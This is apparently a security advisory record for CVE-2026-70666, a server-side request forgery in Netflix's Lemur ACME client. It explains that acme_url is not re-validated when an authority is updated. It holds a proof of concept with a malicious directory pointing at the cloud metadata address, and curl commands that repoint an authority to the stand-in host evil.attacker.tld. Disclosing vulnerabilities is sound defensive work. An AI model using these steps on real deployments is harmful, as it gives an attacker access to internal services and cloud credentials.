{"id":"CVE-2026-70666","aliases":["GHSA-xpmj-wjcp-6pww","PYSEC-2026-3680"],"url":"https://o3.security/vulnerability/CVE-2026-70666","summary":"Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs","details":"### Summary\nThe ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an `acme_url`, then issues requests to URLs that the **ACME server returns** in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates `acme_url` against an allowlist of public ACME directories, but **only at authority creation**. The authority UPDATE path (`PUT /authorities/<id>`) accepts a new `options` blob with an arbitrary `acme_url` and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.\n\n### Detail\n**Defect A - allowlist only at creation.**\n`_validate_acme_url` (`lemur/plugins/lemur_acme/plugin.py:35-53`) restricts the host to `{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}`. It runs **only inside `create_authority`** (lines 337, 481). The update path stores `options` verbatim:\n```python\n# lemur/authorities/views.py:417-424  (Authorities.put)\nreturn service.update(\n    authority_id,\n    owner=data[\"owner\"], description=data[\"description\"],\n    active=data[\"active\"], roles=data[\"roles\"],\n    options=data.get(\"options\")          # <- acme_url lives here, NO re-validation\n)\n```\n`AuthorityUpdateSchema.options = fields.String()` (`authorities/schemas.py:101`) applies no validation. The docstring of `_validate_acme_url` even admits: *\"existing authorities in the DB were already trusted when they were created and are not re-validated.\"*\n\n**Defect B - ACME client follows server-supplied URLs.**\n`setup_acme_client_no_retry` (`acme_handlers.py:161-162, 188-202`) reads `acme_url` from stored authority options and creates an ACME client. Per RFC 8555, the client:\n1. `get_directory(acme_url)` -> server returns `newNonce`, `newOrder`, `revokeCert`, `keyChange` URLs.\n2. `new_order()` -> server returns `finalize` and `authorizations` URLs.\n3. `poll()`, `finalize_order()`, cert download -> all hit **server-chosen URLs**.\n\nA malicious ACME server can return internal URLs for all of these.\n\n**Authorization on update:** `Authorities.put` requires `AuthorityPermission(authority_id, roles)` (`views.py:412`), satisfied by `AuthorityOwnerNeed`/`AuthorityCreatorNeed` - i.e. any **member of the authority's role**, not a global admin. This is the standard role a certificate issuer holds.\n\n**Source-to-sink trace:**\n```\nPUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)\n  -> service.update(options={\"acme_url\":\"https://evil.attacker.tld/dir\"})  <- no re-validation\n… next certificate issuance against this authority …\n  setup_acme_client_no_retry reads acme_url=evil.attacker.tld\n    -> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...\n    -> Lemur POSTs JWS-signed request to internal URL\n```\n\n### Steps to Reproduce (POC)\n\n**Step 1 - Attacker runs a malicious ACME directory server** (e.g. `evil.attacker.tld`) that returns internal URLs in its directory and order responses:\n```python\n# Minimal: a directory endpoint that points \"newOrder\" at an internal target\n{\n  \"newNonce\": \"https://evil.attacker.tld/nonce\",\n  \"newOrder\": \"http://169.254.169.254/latest/meta-data/\",   # <- internal\n  \"revokeCert\": \"https://evil.attacker.tld/revoke\",\n  \"keyChange\": \"https://evil.attacker.tld/key\"\n}\n```\n\n**Step 2 - Attacker (authority-role member) repoints an existing ACME authority:**\n```bash\ncurl -k -X PUT https://lemur.example.com/api/1/authorities/42 \\\n  -H \"Authorization: Bearer <JWT>\" -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\":\"letsencrypt\",\n    \"owner\":\"attacker@corp.com\",\n    \"description\":\"x\",\"active\":true,\n    \"roles\":[{\"id\":7,\"name\":\"letsencrypt_operator\"}],\n    \"options\":\"[{\\\"name\\\":\\\"acme_url\\\",\\\"value\\\":\\\"https://evil.attacker.tld/dir\\\"},{\\\"name\\\":\\\"chain\\\",\\\"value\\\":\\\"\\\"}]\"\n  }'\n```\n\n**Step 3 - Issue a certificate against the repointed authority** (via UI/API):\n```bash\ncurl -k -X POST https://lemur.example.com/api/1/certificates \\\n  -H \"Authorization: Bearer <JWT>\" -H \"Content-Type: application/json\" \\\n  -d '{\"commonName\":\"demo.example.com\",\"owner\":\"attacker@corp.com\",\n       \"authority\":{\"name\":\"letsencrypt\"},\"validityYears\":1}'\n```\nThe Lemur ACME client connects to `evil.attacker.tld`, reads the directory, and POSTs a JWS-signed request to `http://169.254.169.254/...` - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)\n\n> *Note:* This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.\n\n### Impact\n- **JWS-authenticated POSTs** to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.\n- Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.\n- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a **non-admin** authority-role member without ever needing the admin-gated creation path.\n- **Limitation:** requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.\n\n### Fix\n1. Re-run `_validate_acme_url` inside `authorities/service.update` / `update_options`, or make `acme_url` **immutable** after authority creation.\n2. In the ACME client wrapper, **pin every outbound request host** to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured `acme_url` hostname.","published":"2026-08-18T19:05:26.621Z","modified":"2026-09-10T03:30:55.114402392Z","cvss":{"score":7.4,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"lemur","fixedVersion":"1.9.3"}],"fix":{"url":"https://github.com/Netflix/lemur/commit/6dcb19b6d6004e97796d6a0344b130b2ba57f050","label":"Netflix/lemur@6dcb19b"},"references":[{"type":"WEB","url":"https://github.com/Netflix/lemur/releases/tag/v1.9.3"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/70xxx/CVE-2026-70666.json"},{"type":"ADVISORY","url":"https://github.com/Netflix/lemur/security/advisories/GHSA-xpmj-wjcp-6pww"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70666"},{"type":"FIX","url":"https://github.com/Netflix/lemur/commit/6dcb19b6d6004e97796d6a0344b130b2ba57f050"},{"type":"PACKAGE","url":"https://github.com/Netflix/lemur"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-10T03:30:55.114402392Z"}}